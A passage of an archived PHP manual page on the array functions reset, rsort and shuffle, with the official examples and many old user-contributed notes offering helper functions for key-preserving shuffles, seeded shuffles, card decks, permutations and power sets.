    // range() limitation for PHP <5.0.0
    function myRange($num1, $num2, $step=1)
    {
        for($i = $num1; $i <= $num2; $i += $step)
        {
            $temp[] = $i;
        }

        return $temp;
    }
?>

For whatever reason my comment was deleted..?
Forrester at tfcustomized dot com 17-May-2004 07:57
Since users of < PHP 5.0.0 don't have the option of the step parameter, I've created a little function to account for it:

@USAGE: (int low, int high [, int step])

function myRange($low,$high,$step=1)
{
$ranArray = range($low,$high);
$step--;
$keys = count($ranArray);
    for($i=0;$i<$keys;$i++)
    {
    $retArray[] = $ranArray[$i];
    $i = $i + $step;
    }
return $retArray;
}

// Example usage:
print_r(myRange(1,11,2));
// Returns the array:
// [0] => 1
// [1] => 3
// [2] => 5
// [3] => 7
// [4] => 9
// [5] => 11
prev
reset
Array Functions


Set the internal pointer of an array to its first element

range
rsort
Array Functions
PHP Manual

reset

(PHP 4, PHP 5)

reset — Set the internal pointer of an array to its first element

Description

mixed reset ( array &$array )

reset() rewinds array's internal pointer to the first element and returns the value of the first array element.

Parameters

array

The input array.

Return Values

Returns the value of the first array element, or FALSE if the array is empty.

Examples

Example #1 reset() example

<?php

$array = array('step one', 'step two', 'step three', 'step four');

// by default, the pointer is on the first element
echo current($array) . "<br />\n"; // "step one"

// skip two steps
next($array);
next($array);
echo current($array) . "<br />\n"; // "step three"

// reset pointer, start again on step one
reset($array);
echo current($array) . "<br />\n"; // "step one"

?>

See Also

  • current() - Return the current element in an array
  • each() - Return the current key and value pair from an array and advance the array cursor
  • end() - Set the internal pointer of an array to its last element
  • next() - Advance the internal array pointer of an array
  • prev() - Rewind the internal array pointer

User Contributed Notes

kendsnyder at gmail dot com 08-Feb-2010 08:12
Don't use `reset()` to get the first value of an associative array. It works great for true arrays but works unexpectedly on Iterator objects. http://bugs.php.net/bug.php?id=38478
steffen schomberg 17-Jul-2007 05:32
The following method resets every array contained in a multi-dimensional array recursively. It takes the multi-dimensional array as parameter.

function Array_Dimensional_Reset(&$arrRef) {
    foreach ($arrRef as $key=>$val) {
        if (is_array($val)) {
            $this->Array_Dimensional_Reset($val);
            reset($arrRef[$key]);
        }
    }
}
m dot lebkowski+php at gmail dot com 03-Aug-2006 01:58
Colin, there`s a better (IMO) way to solve your problem.
<?
  // ...
  foreach($a as $k => &$d){}   // notice the "&"
  // ...
?>
It`s a new feature in PHP5 to use references in foreach loop. This way PHP isn`t making a copy of the array, so the internal pointer won`t be reset.
Colin 06-Jun-2006 08:11
I had a problem with PHP 5.0.5 somehow resetting a sub-array of an array with no apparent reason.  The problem was in doing a foreach() on the parent array PHP was making a copy of the subarrays and in doing so it was resetting the internal pointers of the original array.

The following code demonstrates the resetting of a subarray:

<?
$a = array(
    'a' => array(
        'A', 'B', 'C', 'D',
    ),
    'b' => array(
        'AA', 'BB', 'CC', 'DD',
    ),
);

// Set the pointer of $a to 'b' and the pointer of 'b' to 'CC'
reset($a);
next($a);
next($a['b']);
next($a['b']);
next($a['b']);

var_dump(key($a['b']));
foreach($a as $k => $d)
{
}
var_dump(key($a['b']));
?>

The result of the two var dumps are 3 and 0, respectively.  Clearly the internal pointer of $a['b'] was reset by doing the foreach loop over $a.

Each time the foreach loop iterated over the 'a' and 'b' keys of $a it made a copy of $a['a'] and $a['b'] into $d which resetted the internal pointers of $a['a'] and $a['b'] despite making no obvious changes.

The solution is instead to iterate over the keys of $a.

<?
foreach(array_keys($a) as $k)
{
}
?>

and using $a[$k] (or creating an alias of $a[$k] as $d and dealing with the consequences of using aliases).

For the curious, I was implementing the Iterator interface on a dummy object and calling a global object to do the actual iteration (also to cope with PHP's lack of C-style pointers which when doing a $a = $b on objects would cause the data in $a to be inconsistent with the data in $b when modified).  Being that I had many dummy objects representing different data sets I chose to store each data set as a subarray contained within the global object.  To make this work each dummy object has to store a key (which can freely be duplicated without problems) that it passes to the global object when rewind, key, current, next, and valid were called on the dummy object.

Unfortunately for me, my key required to be more than just a simple string or number (if it was then it could be used to directly index the subarray of data for that object and problem avoided) but was an array of strings.  Instead, I had to iterate over (with a foreach loop) each subarray and compare the key to a variable stored within the subarray.

So by using a foreach loop in this manner and with PHP resetting the pointer of subarrays it ended up causing an infinite loop.

Really, this could be solved by PHP maintaining internal pointers on arrays even after copying.
27-Feb-2006 01:20
I wrote a nice function, which rotates values of array. Very useful for table rows where you have to rotate colors

<?php
function rotate(&$array) {
    $item = current($array);
    if (!next($array)) reset($array);
    return $item;
}
?>
Alexandre Koriakine 18-Nov-2005 02:09
Also it's good to reset this way the multidimentional arrays:

reset($voo2['moder']);
while (list($key, $value) = each ($voo2['moder'])) {

reset($voo2['moder'][$key]);
while (list($key1, $value1) = each ($voo2['moder'][$key])) {
#do what u want
}

}
s_p_a_mcatcher at hotmail dot com 01-Dec-2004 10:30
Be aware that when using reset() to clear an element and key from an array, if auto-incrementing, the new array keys will not reset a key previously set:

$temparray[] = "0";
$temparray[] = "1";
$temparray[] = "2";
unset($temparray[2]);
$temparray[] = "2";
$temparray[] = "3";

print_r($temparray);

The above will return:
Array
(
    [0] => 0
    [1] => 1
    [3] => 2
    [4] => 3
)

When attempting something like this, its better to use array_pop().

hope it helped
leaetherstrip at inbox dot NOSPAMru 17-Oct-2004 06:54
Note that reset() will not affect sub-arrays of multidimensional array.

For example,

<?php
    $arr = array(
        1 => array(2,3,4,5,6),
        2 => array(6,7,8,9,10)
    );

    while(list($i,) = each($arr))
    {
        echo "IN \$arr[$i]<br>";

        while(list($sub_i,$entry) = each($arr[$i]))
        {
            echo "\$arr[$i][$sub_i] = $entry<br>";
        }
    }

    reset($arr);

    // Do the same again
    while(list($i,) = each($arr))
    {
        echo "IN \$arr[$i]<br>";

        while(list($sub_i,$entry) = each($arr[$i]))
        {
            echo "\$arr[$i][$sub_i] = $entry<br>";
        }
    }
?>

will print

IN $arr[1]
$arr[1][0] = 2
$arr[1][1] = 3
$arr[1][2] = 4
$arr[1][3] = 5
$arr[1][4] = 6
IN $arr[2]
$arr[2][0] = 6
$arr[2][1] = 7
$arr[2][2] = 8
$arr[2][3] = 9
$arr[2][4] = 10
IN $arr[1]
IN $arr[2]
kevin at oceania dot net 18-Jul-2003 06:54
Here is a simple example on how to combine 2 arrays. Here we use array_combine() to create list of months and there respective month number. The same result could just as easily be achieved with array('1'=>'January') etc.

<?php

  // make it or break it
  error_reporting(E_ALL);

  // create and array of keys
  $keys = range(1,12);

  // create an array of months
  $months = array(
  'January',
  'February',
  'March',
  'April',
  'May',
  'June',
  'July',
  'August',
  'September',
  'October',
  'November',
  'December'
);

  // combine the arrays
  $combined_array = array_combine($keys, $months);

  // echo out the results
  foreach($combined_array as $k=>$v){ echo $k.' -> '.$v.'<br />'; }

?>
jules 12-Jun-2003 12:29
Be aware that if you give an empty array to reset(), what you'll get back is a boolean. consider...

      $myarray = array();
      $ret = reset($myarray);
      echo 'reset has type '. gettype($ret) .' and val * '. $ret;
      if( $ret )
      {
        echo '*. But it evaluates true';
      }
      else
      {
        echo '*. It evaluates false';
      }
      if( is_null($ret) )
      {
        echo ', and appears null';
      }
      {
        echo ', and appears not null';
      }

      echo '.';

<output>
reset has type boolean and val * *. It evaluates false, and appears not null.
</output>

<bleaugh/>
kk at shonline dot de 30-Jul-1998 05:22
When used on a scalar or unset value, reset() spews warning messages. This is often a problem when accessing arrays generated from HTML form input data: these are scalar or unset if the user didn't enter sufficient information.

You can silence these error messages by prefixing an @ (at sign) to reset(), but it is better style to protect your reset() and the following array traversal with an if (isset()). Example code:

<?php
if (isset($form_array)) {
  reset($form_array);
  while (list($k, $v) = each($form_array) {
    do_something($k, $v);
  }
}
?>
range
rsort
Array Functions


Sort an array in reverse order

reset
shuffle
Array Functions
PHP Manual

rsort

(PHP 4, PHP 5)

rsort — Sort an array in reverse order

Description

bool rsort ( array &$array [, int $sort_flags = SORT_REGULAR ] )

This function sorts an array in reverse order (highest to lowest).

Parameters

array

The input array.

sort_flags

You may modify the behavior of the sort using the optional parameter sort_flags, for details see sort().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 rsort() example

<?php
$fruits = array("lemon", "orange", "banana", "apple");
rsort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

The above example will output:

0 = orange
1 = lemon
2 = banana
3 = apple

The fruits have been sorted in reverse alphabetical order.

Notes

Note: This function assigns new keys to the elements in array. It will remove any existing keys that may have been assigned, rather than just reordering the keys.

See Also

  • arsort() - Sort an array in reverse order and maintain index association
  • krsort() - Sort an array by key in reverse order
  • The comparison of array sorting functions

User Contributed Notes

Alex M 27-Jun-2005 07:39
A cleaner (I think) way to sort a list of files into reversed order based on their modification date.

<?php
   $path = $_SERVER[DOCUMENT_ROOT]."/files/";
   $dh = @opendir($path);

   while (false !== ($file=readdir($dh)))
   {
      if (substr($file,0,1)!=".")
         $files[]=array(filemtime($path.$file),$file);   #2-D array
   }
   closedir($dh);

   if ($files)
   {
      rsort($files); #sorts by filemtime

      #done! Show the files sorted by modification date
      foreach ($files as $file)
         echo "$file[0] $file[1]<br>\n";  #file[0]=Unix timestamp; file[1]=filename
   }
?>
pshirkey at boosthardware dot com 14-Jan-2005 01:06
I needed a function that would sort a list of files into reversed order based on their modification date.

Here's what I came up with:

function display_content($dir,$ext){

    $f = array();
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {
            while (($folder = readdir($dh)) !== false) {
                if (preg_match("/\s*$ext$/", $folder)) {
                    $fullpath = "$dir/$folder";
                    $mtime = filemtime ($fullpath);

                    $ff = array($mtime => $fullpath);
                    $f = array_merge($f, $ff);

            }
                }

            rsort($f, SORT_NUMERIC);

            while (list($key, $val) = each($f)) {
                $fcontents = file($val, "r");
                while (list($key, $val) = each($fcontents))
                    echo "$val\n";
            }

        }
    }

        closedir($dh);
}

Call it like so:

display_content("folder","extension");
ray at non-aol dot com 02-Nov-2004 07:49
Like sort(), rsort() assigns new keys for the elements in array. It will remove any existing keys you may have assigned, rather than just reordering the keys.  This means that it will destroy associative keys.

$animals = array("dog"=>"large",  "cat"=>"medium",  "mouse"=>"small");
print_r($animals);
//Array ( [dog] => large [cat] => medium [mouse] => small )

rsort($animals);
print_r($animals);
//Array ( [0] => small [1] => medium [2] => large )

Use KSORT() or KRSORT() to preserve associative keys.
rnk-php at kleckner dot net 17-Jun-2003 12:37
Apparently rsort does not put arrays with one value back to zero.  If you have an array like: $tmp = array(9 => 'asdf') and then rsort it, $tmp[0] is empty and $tmp[9] stays as is.
slevy1 at pipeline dot com 12-Jun-2001 11:15
I thought rsort was working successfully or on a multi-dimensional array of strings that had first been sorted with usort(). But, I noticed today that the array  was only partially in descending order.  I tried array_reverse on it and that seems to have solved things.
reset
shuffle
Array Functions


Shuffle an array

rsort
sizeof
Array Functions
PHP Manual

shuffle

(PHP 4, PHP 5)

shuffle — Shuffle an array

Description

bool shuffle ( array &$array )

This function shuffles (randomizes the order of the elements in) an array.

Parameters

array

The array.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 shuffle() example

<?php
$numbers = range(1, 20);
shuffle($numbers);
foreach ($numbers as $number) {
    echo "$number ";
}
?>

Changelog

Version | Description
4.2.0 | The random number generator is seeded automatically.

Notes

Note: This function assigns new keys to the elements in array. It will remove any existing keys that may have been assigned, rather than just reordering the keys.

See Also

  • The comparison of array sorting functions

User Contributed Notes

tim at leethost dot com 26-Sep-2011 06:15
This is a great SEO function for web developers.  It shuffles the array, but does it identically each time. SEOshuffle guarantees shuffled yet consistent order.

<?php
/* $seed variable is optional */
function SEOshuffle(&$items, $seed=false) {
  $original = md5(serialize($items));
  mt_srand(crc32(($seed) ? $seed : $items[0]));
  for ($i = count($items) - 1; $i > 0; $i--){
    $j = @mt_rand(0, $i);
    list($items[$i], $items[$j]) = array($items[$j], $items[$i]);
  }
  if ($original == md5(serialize($items))) {
    list($items[count($items) - 1], $items[0]) = array($items[0], $items[count($items) - 1]);
  }
}
?>
timtrinidad at gmail dot com 08-Aug-2011 12:38
It appears that the suhosin extensions >= 0.9.26 that have the suhosin.mt_srand.ignore and suhosin.srand.ignore settings set to "Off" do not affect shuffle().

In other words, the only way I was able to get pseudo-random and predictable results through shuffle() was to disable the extension.
Donald 14-Jun-2011 08:25
Very simple shuffle function preserving key with value

<?php
function shuffle_assoc( $array )
{
   $keys = array_keys( $array );
   shuffle( $keys );
   return array_merge( array_flip( $keys ) , $array );
}
?>
Eric Anderson 29-Mar-2011 09:33
Copy and paste this script and refresh the page to see the shuffling effect.

<?php
    /**
    * Shuffles and displays cards in a deck
    * @author:     Eric Anderson
    * @filename:   deckofcards.php
    */

    // Create an array of face values
    // and an array of card values
    // then merge them together
    $cards = array_merge(array("J", "Q", "K", "A"), range(2,10)); // 13 cards

    // Shuffle the cards
    shuffle($cards);

    // Create an multidimentional array to hold the 4 suits
    $suits = array(
        'Heart' => array(),
        'Spade' => array(),
        'Diamond' => array(),
        'Club' => array()
        );

    // Add cards to their respective suits
    for($i = 0; $i < count($suits); $i++)
    {
        for($j = 0; $j < count($cards); $j++)
        {
            $suits['Heart'][$j] = $cards[$j]."<span style=color:#FF0000;>&hearts;</span>";
            $suits['Spade'][$j] = $cards[$j]."&spades;";
            $suits['Diamond'][$j] = $cards[$j]."<span style=color:#FF0000;>&diams;</span>";
            $suits['Club'][$j] = $cards[$j]."&clubs;";
        }
    }

    // Create a deck
    $deck = array();

    // Merge the suits into the empty deck array
    $deck = array_merge($deck, $suits);

    // Display the deck to the screen
    echo "<p><b>Deck of cards:</b></p>";
    foreach($deck as $k1 => $v1)
    {
        // Display suit name
        echo "<p>&emsp;$k1's<br />&emsp;{<br />&emsp;&emsp;";
        $acc = 0;

        // Display card value
        foreach($v1 as $k2 => $v2)
        {
            echo "$v2&nbsp";
            $acc++;

            if ($acc == 4)
            {
                echo "<br />&emsp;&emsp;";
                $acc = 0;
            }
        }
        echo "<br />&emsp;}</p>";
    }
?>
andjones at gmail dot com 26-Aug-2010 09:35
Shuffle associative and non-associative array while preserving key, value pairs. Also returns the shuffled array instead of shuffling it in place.

<?php

function shuffle_assoc($list) {
  if (!is_array($list)) return $list;

  $keys = array_keys($list);
  shuffle($keys);
  $random = array();
  foreach ($keys as $key)
    $random[$key] = $list[$key];

  return $random;
}

?>
ezakto at ezakto dot com 24-Jul-2010 11:13
This is a replica of shuffle() but preserving keys (associative and non-associative)

bool kshuffle  (  array &$array  )

<?php

function kshuffle(&$array) {
    if(!is_array($array) || empty($array)) {
        return false;
    }
    $tmp = array();
    foreach($array as $key => $value) {
        $tmp[] = array('k' => $key, 'v' => $value);
    }
    shuffle($tmp);
    $array = array();
    foreach($tmp as $entry) {
        $array[$entry['k']] = $entry['v'];
    }
    return true;
}

$array = array('first' => 0, 'second' => 1, 'third' => 2);
kshuffle($array);
print_r($array); // [second] => 1 [first] => 0 [third] => 2

$array = array('first', 'second', 'third');
kshuffle($array);
print_r($array); // [1] => second [2] => third [0] => first

?>
m0gr14 at gmail dot com 04-Jul-2010 10:39
This function shuffles an associative array recursive.

<?php

/**
* Shuffles an associative array recursive
* @author Mogria <m0gr14@gmail.com>
* @param array $array
* @return array
*
*/

function rec_assoc_shuffle($array)
{
  $ary_keys = array_keys($array);
  $ary_values = array_values($array);
  shuffle($ary_values);
  foreach($ary_keys as $key => $value) {
    if (is_array($ary_values[$key]) AND $ary_values[$key] != NULL) {
      $ary_values[$key] = rec_assoc_shuffle($ary_values[$key]);
    }
    $new[$value] = $ary_values[$key];
  }
  return $new;
}

?>

Example of use:
<?php
$array =
    Array(
        1,
        Array(
            1,
            2,
            3,
            4,
            Array(
                1,
                2,
                3,
                4,
                5
            )
        ),
        2,
        3,
        Array(
            0,
            1,
                Array(
                    1,
                    2,
                    3,
                    4,
                        Array(
                            1,
                            6,
                            5,
                            2,
                            1,
                            3
                        )
                )
        ),
        4,
        5,
        6,
        7
    );
$array = rec_assoc_shuffle($array);
echo '<pre>';
print_r($array);
echo '</pre>';

/*
Returns:
Array
(
    [0] => 6
    [1] => 5
    [2] => Array
        (
            [0] => 1
            [1] => 3
            [2] => Array
                (
                    [0] => 3
                    [1] => 1
                    [2] => 2
                    [3] => 4
                    [4] => 5
                )

            [3] => 2
            [4] => 4
        )

    [3] => 3
    [4] => Array
        (
            [0] => Array
                (
                    [0] => 3
                    [1] => 1
                    [2] => 4
                    [3] => Array
                        (
                            [0] => 5
                            [1] => 1
                            [2] => 3
                            [3] => 6
                            [4] => 1
                            [5] => 2
                        )

                    [4] => 2
                )

            [1] => 1
            [2] => 0
        )

    [5] => 2
    [6] => 1
    [7] => 4
    [8] => 7
)

*/

?>
rick at suggestive dot com 24-Mar-2010 02:19
Many people in SEO need to supply an array and shuffle the results and need the same result each time that page is generated. This is my implementation with a working example:

<?php
function seoShuffle(&$items,$string) {
    mt_srand(strlen($string));
    for ($i = count($items) - 1; $i > 0; $i--){
        $j = @mt_rand(0, $i);
        $tmp = $items[$i];
        $items[$i] = $items[$j];
        $items[$j] = $tmp;
    }
}

$items = array('one','two','three','four','five','six');
$string = 'whatever';

echo '<pre>';
print_r($items);
echo '</pre>';

seoShuffle($items,$string);

echo '<pre>';
print_r($items);
echo '</pre>';
?>
tyler at CompLangs dot com 01-Jan-2010 06:59
Here is a quick function I wrote that generates a random password and uses shuffle() to easily shuffle the order.

<?php
public function randPass($upper = 3, $lower = 3, $numeric = 3, $other = 2) {
    //we need these vars to create a password string
    $passOrder = Array();
    $passWord = '';

    //generate the contents of the password
    for ($i = 0; $i < $upper; $i++) {
        $passOrder[] = chr(rand(65, 90));
    }
    for ($i = 0; $i < $lower; $i++) {
        $passOrder[] = chr(rand(97, 122));
    }
    for ($i = 0; $i < $numeric; $i++) {
        $passOrder[] = chr(rand(48, 57));
    }
    for ($i = 0; $i < $other; $i++) {
        $passOrder[] = chr(rand(33, 47));
    }

    //randomize the order of characters
    shuffle($passOrder);

    //concatenate into a string
    foreach ($passOrder as $char) {
        $passWord .= $char;
    }

    //we're done
    return $passWord;
}
?>
ahmad at ahmadnassri dot com 18-Nov-2009 08:58
shuffle for associative arrays, preserves key=>value pairs.
(Based on (Vladimir Kornea of typetango.com)'s function)

<?php
    function shuffle_assoc(&$array) {
        $keys = array_keys($array);

        shuffle($keys);

        foreach($keys as $key) {
            $new[$key] = $array[$key];
        }

        $array = $new;

        return true;
    }
?>

*note: as of PHP 5.2.10, array_rand's resulting array of keys is no longer shuffled, so we use array_keys + shuffle.
Anonymous 28-Aug-2009 09:18
I needed a simple function two shuffle a two dimensional array. Please note the second level arrays must be indexed using integers, for example $myarray[0]["Name"] and not $myarray["One"]["Name"]. Here is the function:

<?php
function twodshuffle($array)
{
    // Get array length
    $count = count($array);
    // Create a range of indicies
    $indi = range(0,$count-1);
    // Randomize indicies array
    shuffle($indi);
    // Initialize new array
    $newarray = array($count);
    // Holds current index
    $i = 0;
    // Shuffle multidimensional array
    foreach ($indi as $index)
    {
        $newarray[$i] = $array[$index];
        $i++;
    }
    return $newarray;
}
?>

Please note it only works on two dimensional arrays. Here is an example:

<?php
$myarray = array("Google" => array("Name" => "Google", "URL" => "www.google.com", "Usage" => "Googling"), "Yahoo" => array("Name" => "Yahoo", "URL" => "www.yahoo.com", "Usage" => "Yahooing?"), "Ask" => array("Name" => "Ask", "URL" => "www.ask.com", "Usage" => "Asking Jeeves"));

print_r(twodshuffle($myarray));

/* And the result is:
Array ( [0] => Array ( [Name] => Ask [URL] => www.ask.com [Usage] => Asking Jeeves ) [1] => Array ( [Name] => Google [URL] => www.google.com [Usage] => Googling ) [2] => Array ( [Name] => Yahoo [URL] => www.yahoo.com [Usage] => Yahooing? ) )
*/
?>

Hope you find it useful!
John Galt 21-Jul-2009 09:08
I wrote these functions just for the heck of it, but I managed to get them to work even though I'm a PHP amateur. They're just two functions for a deck of 52 cards. newDeck() creates a deck and deal() creates hands for the deck.

<?php
 // Two basic playing card functions
 // newDeck([$numJokers]) - returns array of 52 cards plus (if supplied) $numJokers jokers
 // deal($deck[, $numHands[, $numCards]]) - returns two compact()ed variables--the new $deck and $hand arrays

 function newDeck($numJokers = 0)
 {
  // Returns $deck: array of 52 standard deck of 4-suit cards plus $numJokers jokers, shuffled (key starts at zero)
  // in format of e.g. $deck[4] = "A &spades;" = ace of spades (fifth card)
  $suitCards = array("J", "Q", "K", "A");
  $suitCards = array_merge($suitCards, range(2, 10));
  $hearts = array();
  $spades = array();
  $diamonds = array();
  $clubs = array();
  foreach($suitCards as $card)
  {
   $hearts[] = "<span style=\"color: #FF0000;\">" . $card . " &hearts;" . "</span>";
   $spades[] = "<span style=\"color: #000000;\">" . $card . " &spades;" . "</span>";
   $diamonds[] = "<span style=\"color: #FF0000;\">" . $card . " &diams;" . "</span>";
   $clubs[] = "<span style=\"color: #000000;\">" . $card . " &clubs;" . "</span>";
  }
  $jokers = array();
  for($i = 0; $i < $numJokers; $i++)
   $jokers[] = "<span style=\"color: #8467D7;\">JOKER</span>";
  $deck = array_merge($hearts, $spades, $clubs, $diamonds, $jokers);
  shuffle($deck);
  return $deck;
 }

 function deal($deck, $numHands = 1, $numCards = 7)
 {
  // Returns $hand: two-dimensional array, first key being player ID and second being card number (both starting from zero)
  // e.g. $hand[2][4] = "6 &hearts;" = six of hearts (third hand, fifth card)
  // To return, use extract, e.g. extract(deal($deck, 2, 13)); (also returns $deck)
  $hand = array();
  for($i = 0; $i < $numHands; $i++)
  {
   for($j = 0; $j < $numCards; $j++)
   {
    $hand[$i][$j] = next($deck);
    if($i == 0 && $j == 0)
     $hand[0][0] = prev($deck);
   }
  }
  $deck = array_splice($deck, ($numHands * $numCards));
  return compact("hand", "deck");
 }

 $deck = newDeck();
 extract(deal($deck, 3, 7));

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
 <!-- Just an example of test output to demonstrate capability. -->
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <title>Basic Playing Card Functions</title>
 </head>

 <body>
  <h1>Deck</h1>
  <pre>
<?php
 print_r($deck);
?>
  </pre>
  <hr />
  <h1>Hands</h1>
  <pre>
<?php
 print_r($hand);
?>
  </pre>
 </body>
</html>
mateusz dot charytoniuk at gmail dot com 20-Jun-2009 12:19
If you want to keep array shuffled in one particular way for every user visiting your site, you can use:

<?php
srand($user['id']);
shuffle($some_array);
?>
aalaap at gmail dot com 08-Jun-2009 05:12
I've been wondering why shuffle() doesn't provide the shuffled array as a return value instead of a bool. I mean, what could possibly go wrong in shuffling elements from an array?

So I use something like this:

<?php
function array_shuffle($array) {
    if (shuffle($array)) {
        return $array;
    } else {
        return FALSE;
    }
}
?>
sivaji2009 at gmail dot com 17-May-2009 02:07
Here i wrote a custom shuffle function which preserves the array index and distributes the array element randomly.

<?php

/*
 * return an array whose elements are shuffled in random order.
 */
function custom_shuffle($my_array = array()) {
  $copy = array();
  while (count($my_array)) {
    // takes a rand array elements by its key
    $element = array_rand($my_array);
    // assign the array and its value to an another array
    $copy[$element] = $my_array[$element];
    //delete the element from source array
    unset($my_array[$element]);
  }
  return $copy;
}

$array = array(
  'a' => 'apple',
  'b' => 'ball',
  'c' => 'cat',
  'd' => 'dog',
  'e' => 'egg',
  'f' => 'fan',
  'g' => 'gun'
);

print_r(custom_shuffle($array));

Array
(
    [c] => cat
    [e] => egg
    [f] => fan
    [a] => apple
    [b] => ball
    [g] => gun
    [d] => dog
)

?>
dirk dot avery a t gmail 30-Apr-2009 08:58
Building on examples by m227 and pineappleclock, here is a function that returns all permutations of each set in the power set of an array of strings (instead of a string).  Thanks for the great examples!

<?php

/*
 Use: $arr = power_perms($in);

 Example:
  $in = array("A","B","C");
  $power_perms = power_perms($in);

 Returns:
  Array
  (
    [0] => Array
        (
            [0] => A
            [1] => B
            [2] => C
        )

    [1] => Array
        (
            [0] => A
            [1] => C
            [2] => B
        )

    [2] => Array
        (
            [0] => B
            [1] => A
            [2] => C
        )

    [3] => Array
        (
            [0] => B
            [1] => C
            [2] => A
        )

    [4] => Array
        (
            [0] => C
            [1] => A
            [2] => B
        )

    [5] => Array
        (
            [0] => C
            [1] => B
            [2] => A
        )

    [6] => Array
        (
            [0] => A
            [1] => B
        )

    [7] => Array
        (
            [0] => B
            [1] => A
        )

    [8] => Array
        (
            [0] => B
            [1] => C
        )

    [9] => Array
        (
            [0] => C
            [1] => B
        )

    [10] => Array
        (
            [0] => A
            [1] => C
        )

    [11] => Array
        (
            [0] => C
            [1] => A
        )

    [12] => Array
        (
            [0] => A
        )

    [13] => Array
        (
            [0] => B
        )

    [14] => Array
        (
            [0] => C
        )

  )

*/

function power_perms($arr) {

    $power_set = power_set($arr);
    $result = array();
    foreach($power_set as $set) {
        $perms = perms($set);
        $result = array_merge($result,$perms);
    }
    return $result;
}

function power_set($in,$minLength = 1) {

   $count = count($in);
   $members = pow(2,$count);
   $return = array();
   for ($i = 0; $i < $members; $i++) {
      $b = sprintf("%0".$count."b",$i);
      $out = array();
      for ($j = 0; $j < $count; $j++) {
         if ($b{$j} == '1') $out[] = $in[$j];
      }
      if (count($out) >= $minLength) {
         $return[] = $out;
      }
   }

   //usort($return,"cmp");  //can sort here by length
   return $return;
}

function factorial($int){
   if($int < 2) {
       return 1;
   }

   for($f = 2; $int-1 > 1; $f *= $int--);

   return $f;
}

function perm($arr, $nth = null) {

    if ($nth === null) {
        return perms($arr);
    }

    $result = array();
    $length = count($arr);

    while ($length--) {
        $f = factorial($length);
        $p = floor($nth / $f);
        $result[] = $arr[$p];
        array_delete_by_key($arr, $p);
        $nth -= $p * $f;
    }

    $result = array_merge($result,$arr);
    return $result;
}

function perms($arr) {
    $p = array();
    for ($i=0; $i < factorial(count($arr)); $i++) {
        $p[] = perm($arr, $i);
    }
    return $p;
}

function array_delete_by_key(&$array, $delete_key, $use_old_keys = FALSE) {

    unset($array[$delete_key]);

    if(!$use_old_keys) {
        $array = array_values($array);
    }

    return TRUE;
}
?>
john 18-Feb-2009 09:21
To shuffle keeping the keys intact, I've used the following:

<?PHP

$shuff=array("a","b","c","d","e","f","g",
                   "h","i","j","k","l");
uasort( $shuff, 'scmp' );
print_r($shuff);

function scmp( $a, $b ) {
     return rand(-1,1);
}

?>

Example output:
Array
(
    [7] => h
    [6] => g
    [2] => c
    [0] => a
    [5] => f
    [4] => e
    [10] => k
    [3] => d
    [8] => i
    [11] => l
    [1] => b
    [9] => j
)

Array
(
    [6] => g
    [0] => a
    [2] => c
    [10] => k
    [8] => i
    [5] => f
    [1] => b
    [4] => e
    [9] => j
    [3] => d
    [7] => h
    [11] => l
)

Works for me...
pineappleclock at gmail dot com 22-Jan-2009 10:06
If you want the Power Set (set of all unique subsets) of an array instead of permutations, you can use this simple algorithm:

<?php
/**
* Returns the power set of a one dimensional array,
* a 2-D array.
* array(a,b,c) ->
* array(array(a),array(b),array(c),array(a,b),array(b,c),array(a,b,c))
*/
function powerSet($in,$minLength = 1) {
   $count = count($in);
   $members = pow(2,$count);
   $return = array();
   for ($i = 0; $i < $members; $i++) {
      $b = sprintf("%0".$count."b",$i);
      $out = array();
      for ($j = 0; $j < $count; $j++) {
         if ($b{$j} == '1') $out[] = $in[$j];
      }
      if (count($out) >= $minLength) {
         $return[] = $out;
      }
   }
   return $return;
}
?>
csaba at alum dot mit dot edu 03-Jan-2009 08:01
The following function, NKnext(), generates combinations sequentially.  NKnext's output is a string of 0s and 1s where a "1" at position k represents the kth item being selected.  For example, "1001000" represents the 0th and 3rd items being chosen from among 7.  Feed NKnext() such a string to generate the next one in the sequence.  Note that the sequence is a Gray Code where all adjacent element pairs (including the first and last) differ by a minimal amount (ie. a 0-1 swap), so that one could easily make it circular (Hamiltonian).

<?php
$n = 7;
$k = 3;
enumNK ($n, $k);            // show all possibilities

function enumNK ($n, $k) {
  // Iteratively generate all strings of $k "1"s and $n-$k "0"s
  // so that adjacent strings have exactly one 0-1 swap.
  // Final string is a BRR of the original (right barrel rotation)
  print                     // print the initial string
    $str = str_repeat("1", $k) . str_repeat("0", $n-$k);
  while ($str= NKnext($str)) print "<br> $str"; }

function swap ($str, $pos1, $pos2) {
  // Return $str with characters at $pos1 and $pos2 swapped
  $chr = $str[$pos1];
  $str[$pos1] = $str[$pos2];
  $str[$pos2] = $chr;
  return $str; }

function mod($num, $base) {    // Mathematician's modulus
  // compare with http://php.net/fmod
  return ($num - $base*floor($num/$base)); }

function NKnext ($str, $pos=0, $dir=1) {
  // Assumes there were initially $k=substr_count($str, "1") contiguous 1s
  //   starting at ($dir==1=>leftmost; $dir==1=>rightmost) position $pos
  //   to be barrel rotated in the direction $dir (1=>right, -1=>left)
  //   while going through all possibilities of [$n=strlen($str), $k]
  // Returns the resultant next string in the iteration
  //   by finding the position of the next swap ($pos and $pos2)
  NKswap ($str, $pos, $dir, substr_count ($str, "1"), strlen($str), $pos2);
  if ($pos==$pos2) return ""; return swap($str, $pos, $pos2); }

function NKswap ($str, &$pos, $dir, $k, $n, &$pos2) {
  // Under the assumptions for NKnext, returns the two
  //   positions ($pos, $pos2) that are to be swapped.
  // $pos2 is set to $pos if $str is final (ie. no more swaps)
  if (!$k || $k==$n) return $pos2 = $pos;          // all 0s or all 1s

  $ch1 = ($str[$pos]!="0");      // Is char of interest (fixed char) a "1"?
  $sub = substr($str, 0, $pos) . substr($str, $pos + 1);  // Rest of string

  // Position of next char of interest
  $np = mod($pos - ($dir==1) + $ch1 * $dir * ($k-1), $n-1);

  NKswap($sub, $np, $ch1 ? -$dir : $dir, $k---$ch1, $n-1, $pos2);
  if ($np==$pos2)                 // If substring is done
    return ($pos2 = mod($pos + $ch1 * $dir * ($k - !$k), $n));

